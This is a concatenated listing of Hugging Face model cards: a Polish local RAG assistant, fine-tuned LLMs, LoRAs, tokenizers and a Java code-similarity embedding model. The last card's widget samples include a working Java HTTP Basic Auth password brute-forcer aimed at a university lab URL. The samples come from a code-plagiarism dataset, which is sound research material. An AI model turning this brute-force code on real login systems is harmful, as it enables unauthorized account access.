3. Dla danego zapytania pobierane są najbardziej trafne fragmenty z bazy danych, które uzupełniają kontekst pytania,
4. Model językowy generuje odpowiedź na pytanie wykorzystując wzbogacone dane z bazy wiedzy.
### Uruchamianie
Wystarczy pobrać plik [**prosty-rag.cmd**](https://huggingface.co/jglowa/prosty-rag/resolve/main/prosty-rag.cmd?download=true) (klikając prawym przyciskiem -> zapisz link jako...) i uruchomić go (klikając dwukrotnie myszą lub wpisując w wierszu poleceń `./prosty-rag.cmd`). Skrypt sam pobierze pliki: `prosty-rag.llamafile` i `prosty-rag.embedfile` (jeśli nie zostały wcześniej pobrane), uruchomi indeksator (jeśli nie został jeszcze uruchomiony), załaduje serwer z modelem osadzania (embedfile), serwer z modelem językowym (llamafile) i otworzy stronę [http://localhost:8080](http://localhost:8080) w przeglądarce internetowej. Asystent działa off-line, a wszelkie dane pozostają lokalnie na urządzeniu.
W folderze `baza` należy umieścić wszystkie pliki PDF, TXT, MD i CSV do stworzenia bazy wiedzy. Następnie należy uruchomić skrypt `indeksator.cmd`, który skonwertuje pliki PDF do TXT i zaindeksuje pliki tesktowe w wektorowej bazie danych SQLite `prosty-rag.db`, korzystając z modelu osadzania BGE-M3. Indeksator należy uruchomić po każdej zmianie plików w folderze `baza`.
Aby zadawać pytania dotyczące zaindeksowanej bazy wiedzy, należy uruchomić skrypt `prosty-rag.cmd` i wpisać pytanie w aplikacji czatu na [http://localhost:8080](http://localhost:8080). Najbardziej trafne fragmenty zostaną wyszukane w bazie danych `prosty-rag.db`, a następnie zostanie załadowany model językowy Bielik 4.5B v3.0, który wygeneruje odpowiedź w oparciu o kontekst z bazy wiedzy.
### Budowanie
Aby zbudować własną wersję asystenta AI, należy ściągnąć skrypt `build.cmd` i uruchomić go pod Windows/Linux/MacOS. Po udanym zbudowaniu powinien pojawić się nowy plik `prosty-rag.llamafile`.
### Podgląd
### Lista zmian
- 0.1 - pierwsza wersja wieloplatformowa
- 0.2 - dodanie serwera embedfile z modelem osadzania BGE-M3
- 0.3 - dodanie obsługi CSV, logowania do pliku `prosty-rag.log`
- 0.4 - wyszukiwanie hybrydowe za pomocą FTS (BM25) i wektorów, oddzielne pobieranie modeli GGUF
- 0.5 - zmiana modelu osadzania na multilingual-e5-large-instruct
### Licencja
© 2025 Jerzy Głowacki na licencji Apache 2.0.
|
yueqis/full_sft_mcp-qwen-7b-30k-5e-5
|
yueqis
| 2025-09-23T16:05:19Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen2",
"text-generation",
"llama-factory",
"full",
"generated_from_trainer",
"conversational",
"base_model:Qwen/Qwen2.5-7B-Instruct",
"base_model:finetune:Qwen/Qwen2.5-7B-Instruct",
"license:other",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T16:01:03Z |
---
library_name: transformers
license: other
base_model: Qwen/Qwen2.5-7B-Instruct
tags:
- llama-factory
- full
- generated_from_trainer
model-index:
- name: full_sft_mcp-qwen-7b-30k-5e-5
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# full_sft_mcp-qwen-7b-30k-5e-5
This model is a fine-tuned version of [Qwen/Qwen2.5-7B-Instruct](https://huggingface.co/Qwen/Qwen2.5-7B-Instruct) on the full_sft_mcp dataset.
It achieves the following results on the evaluation set:
- Loss: 0.3433
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 5e-05
- train_batch_size: 1
- eval_batch_size: 1
- seed: 42
- distributed_type: multi-GPU
- num_devices: 8
- gradient_accumulation_steps: 16
- total_train_batch_size: 128
- total_eval_batch_size: 8
- optimizer: Use adamw_torch with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: cosine
- lr_scheduler_warmup_ratio: 0.05
- num_epochs: 1
### Training results
### Framework versions
- Transformers 4.51.3
- Pytorch 2.7.0+cu126
- Datasets 3.5.0
- Tokenizers 0.21.1
|
BootesVoid/cmf3voav10bzmsr53k175ntfk_cmfwomtri0gaix0n0pxlyf2wy
|
BootesVoid
| 2025-09-23T16:00:41Z | 0 | 0 |
diffusers
|
[
"diffusers",
"flux",
"lora",
"replicate",
"text-to-image",
"en",
"base_model:black-forest-labs/FLUX.1-dev",
"base_model:adapter:black-forest-labs/FLUX.1-dev",
"license:other",
"region:us"
] |
text-to-image
| 2025-09-23T16:00:40Z |
---
license: other
license_name: flux-1-dev-non-commercial-license
license_link: https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md
language:
- en
tags:
- flux
- diffusers
- lora
- replicate
base_model: "black-forest-labs/FLUX.1-dev"
pipeline_tag: text-to-image
# widget:
# - text: >-
# prompt
# output:
# url: https://...
instance_prompt: LUNA9876
---
# Cmf3Voav10Bzmsr53K175Ntfk_Cmfwomtri0Gaix0N0Pxlyf2Wy
<Gallery />
## About this LoRA
This is a [LoRA](https://replicate.com/docs/guides/working-with-loras) for the FLUX.1-dev text-to-image model. It can be used with diffusers or ComfyUI.
It was trained on [Replicate](https://replicate.com/) using AI toolkit: https://replicate.com/ostris/flux-dev-lora-trainer/train
## Trigger words
You should use `LUNA9876` to trigger the image generation.
## Run this LoRA with an API using Replicate
```py
import replicate
input = {
"prompt": "LUNA9876",
"lora_weights": "https://huggingface.co/BootesVoid/cmf3voav10bzmsr53k175ntfk_cmfwomtri0gaix0n0pxlyf2wy/resolve/main/lora.safetensors"
}
output = replicate.run(
"black-forest-labs/flux-dev-lora",
input=input
)
for index, item in enumerate(output):
with open(f"output_{index}.webp", "wb") as file:
file.write(item.read())
```
## Use it with the [🧨 diffusers library](https://github.com/huggingface/diffusers)
```py
from diffusers import AutoPipelineForText2Image
import torch
pipeline = AutoPipelineForText2Image.from_pretrained('black-forest-labs/FLUX.1-dev', torch_dtype=torch.float16).to('cuda')
pipeline.load_lora_weights('BootesVoid/cmf3voav10bzmsr53k175ntfk_cmfwomtri0gaix0n0pxlyf2wy', weight_name='lora.safetensors')
image = pipeline('LUNA9876').images[0]
```
For more details, including weighting, merging and fusing LoRAs, check the [documentation on loading LoRAs in diffusers](https://huggingface.co/docs/diffusers/main/en/using-diffusers/loading_adapters)
## Training details
- Steps: 2500
- Learning rate: 9e-05
- LoRA rank: 16
## Contribute your own examples
You can use the [community tab](https://huggingface.co/BootesVoid/cmf3voav10bzmsr53k175ntfk_cmfwomtri0gaix0n0pxlyf2wy/discussions) to add images that show off what you’ve made with this LoRA.
|
milliarderdol/blockassist
|
milliarderdol
| 2025-09-23T15:56:29Z | 0 | 0 | null |
[
"gensyn",
"blockassist",
"gensyn-blockassist",
"minecraft",
"roaring rough scorpion",
"arxiv:2504.07091",
"region:us"
] | null | 2025-09-10T13:37:09Z |
---
tags:
- gensyn
- blockassist
- gensyn-blockassist
- minecraft
- roaring rough scorpion
---
# Gensyn BlockAssist
Gensyn's BlockAssist is a distributed extension of the paper [AssistanceZero: Scalably Solving Assistance Games](https://arxiv.org/abs/2504.07091).
|
Luthx11/elisax
|
Luthx11
| 2025-09-23T15:54:46Z | 0 | 0 | null |
[
"license:other",
"region:us"
] | null | 2025-09-23T13:37:15Z |
---
license: other
license_name: flux-1-dev-non-commercial-license
license_link: https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md
---
|
ahmedsleemtest/hadi-8b-ONE
|
ahmedsleemtest
| 2025-09-23T15:54:16Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"llama",
"text-generation",
"text-generation-inference",
"unsloth",
"conversational",
"en",
"license:apache-2.0",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T15:44:13Z |
---
base_model: unsloth/deepseek-r1-distill-llama-8b-unsloth-bnb-4bit
tags:
- text-generation-inference
- transformers
- unsloth
- llama
license: apache-2.0
language:
- en
---
# Uploaded finetuned model
- **Developed by:** ahmedsleemtest
- **License:** apache-2.0
- **Finetuned from model :** unsloth/deepseek-r1-distill-llama-8b-unsloth-bnb-4bit
This llama model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library.
[<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
|
tstenborg/ppo-Pyramids
|
tstenborg
| 2025-09-23T15:47:59Z | 0 | 0 |
ml-agents
|
[
"ml-agents",
"tensorboard",
"onnx",
"Pyramids",
"deep-reinforcement-learning",
"reinforcement-learning",
"ML-Agents-Pyramids",
"region:us"
] |
reinforcement-learning
| 2025-09-23T15:43:35Z |
---
library_name: ml-agents
tags:
- Pyramids
- deep-reinforcement-learning
- reinforcement-learning
- ML-Agents-Pyramids
---
# **ppo** Agent playing **Pyramids**
This is a trained model of a **ppo** agent playing **Pyramids**
using the [Unity ML-Agents Library](https://github.com/Unity-Technologies/ml-agents).
## Usage (with ML-Agents)
The Documentation: https://unity-technologies.github.io/ml-agents/ML-Agents-Toolkit-Documentation/
We wrote a complete tutorial to learn to train your first agent using ML-Agents and publish it to the Hub:
- A *short tutorial* where you teach Huggy the Dog 🐶 to fetch the stick and then play with him directly in your
browser: https://huggingface.co/learn/deep-rl-course/unitbonus1/introduction
- A *longer tutorial* to understand how works ML-Agents:
https://huggingface.co/learn/deep-rl-course/unit5/introduction
### Resume the training
```bash
mlagents-learn <your_configuration_file_path.yaml> --run-id=<run_id> --resume
```
### Watch your Agent play
You can watch your agent **playing directly in your browser**
1. If the environment is part of ML-Agents official environments, go to https://huggingface.co/unity
2. Step 1: Find your model_id: tstenborg/ppo-Pyramids
3. Step 2: Select your *.nn /*.onnx file
4. Click on Watch the agent play 👀
|
ferrazzipietro/Llama-3.1-8B-Instruct-reas-int-05-only-loss-noprompt
|
ferrazzipietro
| 2025-09-23T15:47:30Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"llama",
"text-generation",
"generated_from_trainer",
"conversational",
"base_model:meta-llama/Llama-3.1-8B-Instruct",
"base_model:finetune:meta-llama/Llama-3.1-8B-Instruct",
"license:llama3.1",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T08:50:45Z |
---
library_name: transformers
license: llama3.1
base_model: meta-llama/Llama-3.1-8B-Instruct
tags:
- generated_from_trainer
model-index:
- name: Llama-3.1-8B-Instruct-reas-int-05-only-loss-noprompt
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# Llama-3.1-8B-Instruct-reas-int-05-only-loss-noprompt
This model is a fine-tuned version of [meta-llama/Llama-3.1-8B-Instruct](https://huggingface.co/meta-llama/Llama-3.1-8B-Instruct) on an unknown dataset.
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 5e-06
- train_batch_size: 4
- eval_batch_size: 32
- seed: 42
- distributed_type: multi-GPU
- num_devices: 2
- gradient_accumulation_steps: 8
- total_train_batch_size: 64
- total_eval_batch_size: 64
- optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.95) and epsilon=1e-12 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: cosine
- lr_scheduler_warmup_ratio: 0.1
- num_epochs: 1
### Training results
### Framework versions
- Transformers 4.56.2
- Pytorch 2.8.0+cu128
- Datasets 3.6.0
- Tokenizers 0.22.1
|
thefirstgoku/23SEP_inter_v32_5
|
thefirstgoku
| 2025-09-23T15:46:15Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T15:45:36Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
Daliparthy/gemma-2-2B-it-function_calling-V0
|
Daliparthy
| 2025-09-23T15:46:01Z | 0 | 0 |
transformers
|
[
"transformers",
"tensorboard",
"safetensors",
"generated_from_trainer",
"trl",
"sft",
"base_model:google/gemma-2-2b-it",
"base_model:finetune:google/gemma-2-2b-it",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T15:42:57Z |
---
base_model: google/gemma-2-2b-it
library_name: transformers
model_name: gemma-2-2B-it-function_calling-V0
tags:
- generated_from_trainer
- trl
- sft
licence: license
---
# Model Card for gemma-2-2B-it-function_calling-V0
This model is a fine-tuned version of [google/gemma-2-2b-it](https://huggingface.co/google/gemma-2-2b-it).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="Daliparthy/gemma-2-2B-it-function_calling-V0", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
This model was trained with SFT.
### Framework versions
- TRL: 0.23.0
- Transformers: 4.56.2
- Pytorch: 2.8.0+cu126
- Datasets: 4.0.0
- Tokenizers: 0.22.0
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
Sai5480/monolingual-tokenizer-native-tam-vocab-128000
|
Sai5480
| 2025-09-23T15:42:30Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"tam",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:42:19Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- tam
- vocab-128000
---
# Monolingual Tokenizer - Tamil (Vocab 128000)
This is a monolingual tokenizer trained on Tamil text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-tam-vocab-128000")
```
## Files
- `tam.model`: SentencePiece model file
- `tam.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Tamil (tam)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
Sai5480/monolingual-tokenizer-native-snd-vocab-128000
|
Sai5480
| 2025-09-23T15:42:18Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"snd",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:42:06Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- snd
- vocab-128000
---
# Monolingual Tokenizer - Sindhi (Vocab 128000)
This is a monolingual tokenizer trained on Sindhi text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-snd-vocab-128000")
```
## Files
- `snd.model`: SentencePiece model file
- `snd.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Sindhi (snd)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
Nick-Sen/colbertx-xlmr-large-tt-eng.rus
|
Nick-Sen
| 2025-09-23T15:41:58Z | 0 | 0 | null |
[
"pytorch",
"xlm-roberta",
"en",
"zh",
"arxiv:2201.08471",
"license:mit",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T12:09:17Z |
---
license: mit
language:
- en
- zh
task_categories:
- text-retrieval
- zero-shot-retrieval
- information-retrieval
- zero-shot-information-retrieval
task_ids:
- passage-retrieval
- cross-language-retrieval
---
Model trained by [Suraj Nair](https://srnair.netlify.app/).
If you use the model, please cite our paper.
```bibtex
@inproceedings{colbert-x,
author = {Suraj Nair and Eugene Yang and Dawn Lawrie and Kevin Duh and Paul McNamee and Kenton Murray and James Mayfield and Douglas W. Oard},
title = {Transfer Learning Approaches for Building Cross-Language Dense Retrieval Models},
booktitle = {Proceedings of the 44th European Conference on Information Retrieval (ECIR)},
year = {2022},
url = {https://arxiv.org/abs/2201.08471}
}
```
|
Sai5480/monolingual-tokenizer-native-kan-vocab-128000
|
Sai5480
| 2025-09-23T15:40:43Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"kan",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:40:32Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- kan
- vocab-128000
---
# Monolingual Tokenizer - Kannada (Vocab 128000)
This is a monolingual tokenizer trained on Kannada text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-kan-vocab-128000")
```
## Files
- `kan.model`: SentencePiece model file
- `kan.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Kannada (kan)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
ZaneHorrible/hs_adib_banglabert
|
ZaneHorrible
| 2025-09-23T15:40:05Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"electra",
"text-classification",
"arxiv:1910.09700",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-classification
| 2025-09-23T15:36:37Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
AdvRahul/ERNIE-4.5-21B-A3B-Thinking-Q4_K_M-GGUF
|
AdvRahul
| 2025-09-23T15:37:59Z | 49 | 0 |
transformers
|
[
"transformers",
"gguf",
"ERNIE4.5",
"llama-cpp",
"gguf-my-repo",
"text-generation",
"en",
"zh",
"base_model:baidu/ERNIE-4.5-21B-A3B-Thinking",
"base_model:quantized:baidu/ERNIE-4.5-21B-A3B-Thinking",
"license:apache-2.0",
"endpoints_compatible",
"region:us",
"conversational"
] |
text-generation
| 2025-09-16T06:36:51Z |
---
license: apache-2.0
language:
- en
- zh
pipeline_tag: text-generation
tags:
- ERNIE4.5
- llama-cpp
- gguf-my-repo
library_name: transformers
base_model: baidu/ERNIE-4.5-21B-A3B-Thinking
---
# AdvRahul/Axon-Thinking-21B-A3B-Q4_K_M-GGUF
This model was converted to GGUF format from [`baidu/ERNIE-4.5-21B-A3B-Thinking`](https://huggingface.co/baidu/ERNIE-4.5-21B-A3B-Thinking) making it safer through red team testing with advanced protocols.
## Use with llama.cpp
Install llama.cpp through brew (works on Mac and Linux)
```bash
brew install llama.cpp
```
Invoke the llama.cpp server or the CLI.
### CLI:
```bash
llama-cli --hf-repo AdvRahul/ERNIE-4.5-21B-A3B-Thinking-Q4_K_M-GGUF --hf-file ernie-4.5-21b-a3b-thinking-q4_k_m.gguf -p "The meaning to life and the universe is"
```
### Server:
```bash
llama-server --hf-repo AdvRahul/ERNIE-4.5-21B-A3B-Thinking-Q4_K_M-GGUF --hf-file ernie-4.5-21b-a3b-thinking-q4_k_m.gguf -c 2048
```
Note: You can also use this checkpoint directly through the [usage steps](https://github.com/ggerganov/llama.cpp?tab=readme-ov-file#usage) listed in the Llama.cpp repo as well.
Step 1: Clone llama.cpp from GitHub.
```
git clone https://github.com/ggerganov/llama.cpp
```
Step 2: Move into the llama.cpp folder and build it with `LLAMA_CURL=1` flag along with other hardware-specific flags (for ex: LLAMA_CUDA=1 for Nvidia GPUs on Linux).
```
cd llama.cpp && LLAMA_CURL=1 make
```
Step 3: Run inference through the main binary.
```
./llama-cli --hf-repo AdvRahul/ERNIE-4.5-21B-A3B-Thinking-Q4_K_M-GGUF --hf-file ernie-4.5-21b-a3b-thinking-q4_k_m.gguf -p "The meaning to life and the universe is"
```
or
```
./llama-server --hf-repo AdvRahul/ERNIE-4.5-21B-A3B-Thinking-Q4_K_M-GGUF --hf-file ernie-4.5-21b-a3b-thinking-q4_k_m.gguf -c 2048
```
|
buelfhood/SOCO-Java-CODEBERTA-MNRL-TRIPLETS-E1-B32-LR1e-05-Split0.1
|
buelfhood
| 2025-09-23T15:34:21Z | 0 | 0 |
sentence-transformers
|
[
"sentence-transformers",
"safetensors",
"roberta",
"sentence-similarity",
"feature-extraction",
"dense",
"generated_from_trainer",
"dataset_size:38664",
"loss:MultipleNegativesRankingLoss",
"dataset:buelfhood/SOCO_TRAIN_java",
"arxiv:1908.10084",
"arxiv:1705.00652",
"base_model:huggingface/CodeBERTa-small-v1",
"base_model:finetune:huggingface/CodeBERTa-small-v1",
"autotrain_compatible",
"text-embeddings-inference",
"endpoints_compatible",
"region:us"
] |
sentence-similarity
| 2025-09-23T15:34:07Z |
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:38664
- loss:MultipleNegativesRankingLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class sendMail\
\ {\n\npublic void sendMail(String mailServer, String recipient, String result)\
\ {\n try {\n Socket s = new Socket(mailServer, 25);\n BufferedReader\
\ in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\
\ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\
\ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\
\ \"HELO client\");\n\n send(in, out, \"MAIL FROM: <WatchDog@SecureECommerce.>\"\
);\n send(in, out, \"RCPT : \" + recipient);\n send(in, out, \"DATA\"\
);\n send(out, \"Subject: \");\n send(out, \"From: Admin <WatchDog@SecureECommerce.>\"\
);\n send (out, \"\\n\");\n \n send(out, result);\n send(out,\
\ \"\\n.\\n\");\n send(in, out, \"QUIT\");\n\n }\n catch (Exception\
\ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\
\ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\
\ out.flush();\n System.out.println(s);\n s = in.readLine();\n\
\ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\
\ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\
\ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\
\ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\
}"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
